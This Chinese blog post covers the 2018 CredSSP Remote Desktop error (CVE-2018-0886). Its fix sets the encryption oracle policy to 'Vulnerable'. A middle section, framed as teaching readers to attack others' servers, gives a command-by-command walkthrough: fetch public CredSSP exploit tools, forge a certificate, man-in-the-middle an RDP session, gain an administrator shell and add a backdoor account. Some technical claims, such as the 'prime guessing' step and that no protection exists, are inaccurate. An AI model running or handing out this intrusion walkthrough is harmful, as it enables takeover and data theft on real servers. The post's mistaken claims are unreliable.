远程桌面出现身份验证错误,要求的函数不正确,这可能是由于CredSSP加密Oracle修正的解决方法

事件起因


2018年5月9日,微软推送了一枚补丁,代号为KB4103721

更新这枚补丁之后,很奇怪的事情发生了,所有的服务器都远程连接不上了!

于是我打开了上诉网址,发现是微软修复的漏洞“Microsoft CredSSP CVE-2018-0886远程执行代码漏洞”,先介绍解决方法:

 

解决方法


打开运行,输入

1
gpedit.msc

点击确定,即可打开电脑系统的组策略。

依次展开:

1
计算机配置→管理模板→系统→凭据分配→加密Oracle修正

选择启用并选择易受攻击。

点击确定,然后就可以远程登录桌面了。

按照微软的说法,设置成“易受攻击”只是暂时可以登录到远程桌面,但是却和选项一样,你的电脑“易受攻击”。

 

CVE-2018-0886 | CredSSP 远程执行代码漏洞 介绍


我们先看看看kb4103721更新了什么内容,详见:https://support.microsoft.com/zh-cn/help/4103721/windows-10-update-kb4103721

重点看这句话:

Addresses an issue that may cause an error when connecting to a Remote Desktop server. For more information, see CredSSP updates for CVE-2018-0886.

这句话没能说明什么问题,重要的是我们点击进链接:https://support.microsoft.com/zh-cn/help/4093492/credssp-updates-for-cve-2018-0886-march-13-2018

看看这个漏洞的介绍:

凭据安全支持提供程序协议 (CredSSP) 是处理其他应用程序的身份验证请求的身份验证提供程序。

CredSSP 的未修补版本中存在远程代码执行漏洞。 成功利用此漏洞的攻击者可以在目标系统上中继用户凭据以执行代码。 任何依赖 CredSSP 进行身份验证的应用程序都可能容易受到此类攻击。
此安全更新通过更正 CredSSP 在身份验证过程中验证请求的方式来修复此漏洞。

让我们来看一下这个漏洞,具体可见https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2018-0886

凭据安全支持提供程序协议 (CredSSP) 中存在远程执行代码漏洞。成功利用此漏洞的攻击者可以在目标系统上中继用户凭据并使用其执行代码。

CredSSP 是为其他应用程序处理身份验证请求的身份验证提供程序;任何依赖 CredSSP 进行身份验证的应用程序都可能容易受到此类攻击。

例如,如果攻击者要针对远程桌面协议利用此漏洞,攻击者需要运行经特殊设计的应用程序,并针对远程桌面协议会话执行中间人攻击。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

此安全更新通过更正凭据安全支持提供程序协议 (CredSSP) 在身份验证过程中验证请求的方式来修复此漏洞。

若要全面防御此漏洞,用户必须在其系统上启用组策略设置并更新其远程桌面客户端。默认情况下禁用组策略设置以防止连接问题,用户必须按照此处所述的说明进行全面保护。
微软官方表示目前没有任何方法来防护这个漏洞,而且这个漏洞非常重要!它波及到甚至最新的服务器版本Windows Server 2016和Windows 10 1803系统!

可怕的事还在后面。

 

CVE-2018-0886 | CredSSP 远程执行代码漏洞 攻击测试


下面我来教大家如何用这个漏洞去攻击其他人的服务器,仅供参考,仅供学习研究用途,请勿用来搞破坏,请勿使用本教程去渗透政府部门、机关单位或重要机构的服务器。因为特殊原因,部分步骤不能公开,具体还请您自己研究。

我们需要用到Kali Linux系统。

攻击方:自建新加坡服务器,安装了Kali Linux系统。

被攻击方:自建日本服务器,安装了Windows 7专业版系统,已经关掉防火墙和系统更新。

首先更新源到最新

1
apt-get update

安装git工具(如果已经安装过了请忽略)

1
apt-get install git

克隆必要库

1
2
git clone https://github.com/preempt/rdpy.git rdpy
git clone https://github.com/preempt/credssp.git

安装必要运行环境(全自动)

1
2
3
4
cd credssp/install
sh install.sh
cd ../../rdpy
sudo python setup.py install

可以看到脚本还自动编译了openssl,赞!(手动编译是很繁琐的)

安装完成!
下载攻击工具,下载地址:https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44453.zip

1
wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44453.zip

解压缩

1
unzip 44453.zip

解压后的列表如下:


使用远程桌面连接导出目标服务器的证书。

使用WinSCP或其他工具,把导出的cer证书传到攻击服务器的~目录下。

运行

1
python credssp-master/bin/gen_cmd.py -c uwp.cer -o exploitc.pem -k exploitk.pem CMD

暴力通过猜素数破解证书,并生成新的用于远程登录服务器的证书和对应的私钥,然后通过新的证书登录服务器。

经过漫长等待后成功生成exploitc.pem和exploitk.pem,分别是生成的证书和私钥,然后运行

1
python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem {目标服务器}

攻击目标服务器。

经过漫长等待后出现:

生成注入dll成功,后门程序安装成功,运行后门程序成功,正在连接到远程服务器,3,2,1,成功入侵!cmd控制台。。

运行下shell试试。

哇哇哇!顺利拿到了管理员权限!(Shell权限就是用Administrator超级管理员的身份运行程序,可以任意执行任何代码,包括毁坏电脑的代码)

我们发现字符是乱码的,因此要切换cmd的编码格式。

1
chcp 65001

接下来遍历一下磁盘里有什么文件。

嘿嘿,接下来就是为所欲为了。

新建了一个账户。

添加到远程桌面组。

使用远程桌面连接工具成功远程到目标服务器!接下来,拷贝网站数据、篡改数据、删除数据库……想干嘛就干嘛了!

总结


所有的系统、软件都是都有漏洞的,被黑客利用可就不好了,渗透、入侵企业或者政府部门的服务器,会造成信息泄露、信息被修改、或者被删除等重大损失,有些黑客甚至还把重要的文件、数据库加密,要求支付赎金才给解锁,这种敲诈勒索行为已经影响到了千万个企业或政府部门了。

如果很不幸,你的服务器被别人入侵了,发现后第一件事情一定要断网,而且是物理断网(拔网线),简单设置下防火墙就能防得住?不行~服务器里的所有数据都不要动,保留好证据,把还没被修改的文件全部拷贝出来。黑客的所作所为,都是有证据的(但是有些聪明的黑客,留下了后门,在退出远程的时候自动运行销毁记录的操作),我们可以在系统日志里看到所有的操作记录。

假设文件都被加密了,也不要缴纳赎金给黑客,而是想办法还原,当然你不是专业的就不要随便乱动,关机,断电,给专业的人恢复,不然会覆盖硬盘原有的数据,造成不可挽回的损失!

日常生活中,如何防护呢?首先最重要的是保持软件、系统的更新,系统推送的补丁一定要打!不要嫌打补丁的时候系统很慢,这是为你好,等你电脑数据都没了,你想后悔已经来不及了。第二,重要的数据一定要备份,把数据存U盘、网盘,多存几份,定时备份,这样就不怕数据丢失了。第三,不要点击来路不明的软件,特别是几百K以内的EXE文件,很多下载站的默认“高速下载”,下下来是几百K的EXE文件,经过我专业人士的测试,这个是有后门木马病毒的,他会在你电脑上强制安装“全家桶”,或者在后台运行它的程序,例如DDos肉鸡攻击器,或者挖矿程序,占用你的电脑资源。

如果您不巧中招了,欢迎找我bug来帮你恢复电脑~

发表评论

电子邮件地址不会被公开。 必填项已用*标注